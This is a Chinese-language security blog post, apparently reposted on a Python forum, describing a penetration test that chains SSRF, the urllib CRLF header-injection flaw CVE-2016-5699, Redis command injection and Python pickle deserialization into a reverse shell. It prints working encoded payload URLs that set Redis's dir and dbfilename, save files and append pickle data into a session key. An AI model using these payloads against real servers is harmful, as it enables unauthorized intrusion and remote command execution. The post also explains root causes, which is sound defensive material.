社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

【技术分享】Python安全 - 从SSRF到命令执行惨案

安全客 • 4 年前 • 863 次点击  

前两天遇到的一个问题,起源是在某个数据包里看到url=这个关键字,当时第一想到会不会有SSRF漏洞。

以前乌云上有很多从SSRF打到内网并执行命令的案例,比如有通过SSRF+S2-016漏洞漫游内网的案例,十分经典。不过当时拿到这个目标,我只是想确认一下他是不是SSRF漏洞,没想到后面找到了很多有趣的东西。截图不多(有的是后面补得),大家凑合看吧。

一、判断SSRF漏洞

目标example.com,根据其中csrf_token的样式,我猜测其为flask开发(当然也可能是一个我不太熟悉的框架使用了和flaskwtf相似的代码):
开着代理浏览了一遍整个网站的功能,功能点不多,比较小众的一个分享型站点。偶然间在数据包里看到url=,看了一下发现是一个本地化外部图片这么一个功能。这种功能很容易出现两种漏洞:
SSRF漏洞
XSS漏洞
SSRF漏洞就不用多说了,在拉取外部资源的时候没有检查URL,导致可以向内网发送请求;XSS漏洞容易被忽略,拉取到目标后储存的时候没有过滤特殊字符,就可能导致XSS漏洞。
简单fuzz一下,依次访问http://127.0.0.1:80/、http://127.0.0.1:80/404404404not_found、http://127.0.0.1:12321/
依次返回了error和两个500,这三个结果分别代表什么?
因为平时做Python开发比较多,这种500的情况也见的比较多,通常是因为代码没有捕捉异常导致返回500。感觉第二个可能是HTTP请求404导致抛出异常,而第三个可能是TCP连接被拒绝(12321端口未开放)导致抛出异常。
虽然我还没理清目标的代码逻辑,但我能肯定这其中存在SSRF漏洞。
二、鸡肋redis服务?

经过简单的测试,我发现目标站点下载外部资源后,会检查资源类型是否是图片,不是图片则返回error。这样就很尴尬了,这是一个没有回显的SSRF漏洞。
这时候我突然想到,既然是判断图片,会不会是用imagemagick组件来判断的?然后我将imagetragick的POC保存到外网的某个poc.gif里,然后让其访问:
直接把内容返回了,没出现error,也没500,但命令也没执行成功。
当时没想清楚目标究竟是怎么判断图片的,后来拿到shell以后看了源码才知道:目标是判断返回包的content-type,如果不是图片就直接返回error,我想的太复杂了。imagemagick这条路死了,我就没再研究这块逻辑。因为我不知道目标内网IP段,所以准备先探测一下127.0.0.1的端口,我列了一些常用端口,用Burp跑了一下:
看到6379是200的时候,我着实激动了一下,众所周知,在渗透中遇到redis是一件很愉快的事情。
不过我很快发现,GET请求我没法控制Redis的命令。
科普一下,Redis的协议是简单的文本流,比如我可以向6379端口发送如下TCP流:
SET x 1
SET y 2
每行代表一个命令,上述数据包执行了两条set命令。但现在尴尬的是,普通GET请求的数据包如下:
GET / HTTP/1.1Host: example.comAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: close

我控制不了任意一行的起始部分,也就没法自定义redis命令了,非常鸡肋……0x03 CVE-2016-5699 化腐朽为神奇
三、CVE-2016-5699








化腐朽为神奇
真的鸡肋么?
去年,Python的urllib库曾出过一个头注入的漏洞,CVE-2016-5699( http://blog.neargle.com/SecNewsBak/drops/Python%20urllib%20HTTP%E5%A4%B4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html )
因为在CTF里有过类似的思路,所以我基本第一时间就想到了。我在外网服务器用nc开了个端口,在目标web页面传入http://[vps-ip]%0d%0aX-injected:%20header:12345/foo,发现果然注入成功了:

有点小激动,因为之前只是听说过这个漏洞,没有真实案例的依托,这次真遇到了。如果我们能注入HTTP头,也就能控制发送往Redis的数据包的某一行,这样就能执行任意Redis命令了。
有点怕影响目标站,我先在本地搭了个类似的环境。
攻击Redis有几个思路,核心就在于写文件。在本地测试,发现了几个巨坑:
CONFIG SET dir /tmp,传递斜线/的时候必须进行二次编码(%252f),否则urllib2会抛出URLError: 的异常。
url过长会导致抛出UnicodeError: label empty or too long的异常,所以我需要依次传入CONFIG SET、SAVE等几个命令。
最后,我依次发送http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%252ftmp%0d%0a:6379/foo、http://127.0.0.1%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo、http://127.0.0.1%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo,最后成功在本地写入/tmp/evil文件。
不过目标环境就有点蛋疼了,一是完全没有回显,我无法知道我是否写入成功;二是失败原因我无法预测,有可能是redis有密码,或redis是普通权限,或config set命令被禁用等等。
感觉又是一个比较蛋疼和鸡肋的情境。
四、Python反序列化逆袭


果然在线上环境尝试写入cron文件,都没成功反弹回shell。在这个地方卡了很久,思路一直在考虑“是否真的成功写入文件”这个问题,如果“成功写入了文件”,为什么没有反弹到shell;如果没有成功写入文件,是不是没有权限,是否可以写入python的webshell?
总结起来有几个思路:
写入ssh key进行getshell。但扫端口发现似乎并没有开放22,推测是更换了ssh端口并进行的IP限制,或者直接没有运行sshd。
写入cron尝试反弹shell,但没成功。也许是redis没权限,也许是因为目标是ubuntu或debian,这两个系统对于cron文件格式限制会比较严,很难用redis反弹shell。
写入python的webshell,但可能也会遇到文件格式要求过严导致python运行失败,而且通常写入python脚本需要重启服务器才能奏效。
写入jinja2模板文件,并通过模板引擎支持的语法执行命令。
总结起来,第4个方法最靠谱,因为模板文件对格式要求不严,只要我需要执行的语句放在类似{{ }}的标签中即可。但经过测试,还是有几个问题:一是web路径(关键是存放模板文件的路径)和模板名称都需要猜,这个太难;二是redis如果是从源进行安装,一般是redis用户运行,一般无法写入web目录。吃个夜宵再回来想想,我觉得首先得解决“是否真的成功写入文件”这个问题。后面fuzz了一下,测试了一堆目录,发现成功在/var/www/html/static下写入了文件,并通过http://example.com/static/xxxfile直接可以访问!
下载刚写入的文件,其实这个文件即为redis的导出文件。我将之导入到自己本地的redis环境中,又是一个惊喜:
看到这个样式的数据,我就知道这一定是反序列化数据,而且是Python2.7的反序列化数据。这里科普一下,Python2.7和3.5默认使用的序列化格式有所区别,一般带有括号和换行的序列化数据是2.7使用的,而包含x00的一般是3.5使用的。
后续利用就 https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html 这篇文章一个套路。目标站使用redis存储session数据,且session数据使用序列化保存,我们可以通过反序列化来执行任意命令。
使用python2.7构造一个执行反弹shell脚本的序列化数据,并通过SSRF漏洞设置成session:hacker的值,然后访问目标站点的时候设置Cookie session=hacker。
不过有一点需要注意,就是SSRF时URL太长的话会抛出错误(之前本地测试的时候说过),所以需要曲线救国,使用redis的append命令,将数据一段一段写入,类似于这样:
另外还有个坑,写入的时候,特殊字符(如换行)需要转义:http://127.0.0.1%0d%0aAPPEND%20session:hacker%20"(S'id'np1ntp2nRp3n."%0d%0aSAVE%0d%0a:6379/,而且只有值被引号包裹时转义符才能转义,否则转义符又会被转义……这个把我坑了好久,差点就以为功亏一篑了。
最后感觉,挖漏洞思路还是得跳,之前一直在考虑怎么通过redis写文件来进行getshell,却没想到通过读取redis的备份文件,找到了突破口。
成功反弹shell:
总结
这一次案例,出现漏洞的根本原因有几个:
Web层面出现SSRF漏洞
Python版本过低,存在CVE-2016-5699头注入漏洞
Redis版本过低,新版Redis写入的文件权限一般是660,可以极大程度上避免写文件造成的漏洞
拿到shell以后我看了下源码,其逻辑是这样:获取用户传入的url参数,直接发送HTTP请求并拿到返回对象,判断返回对象的Content-Type是否包含image,如果包含则离线数据并显示出来,否则返回error。
这就导致HTTP请求一旦出现错误,服务器就会抛出500,而返回error是手工判断的结果,所以状态码还是200。另外还有个感想,我怕把目标环境搞坏了,整个过程中多次用到了本地环境进行测试,而所有本地环境都是用docker启动的 ,非常方便。
之后我应该会模拟一下这个目标,做一个vulhub环境给大家,有时间再说吧……

- 结尾 -
精彩推荐
【技术分享】2018 SECCON CTF—GhostKingdom Writeup
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
【技术分享】ARM 架构—探究绕过NX的一种方式Ret2ZP

戳“阅读原文”查看更多内容
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/130593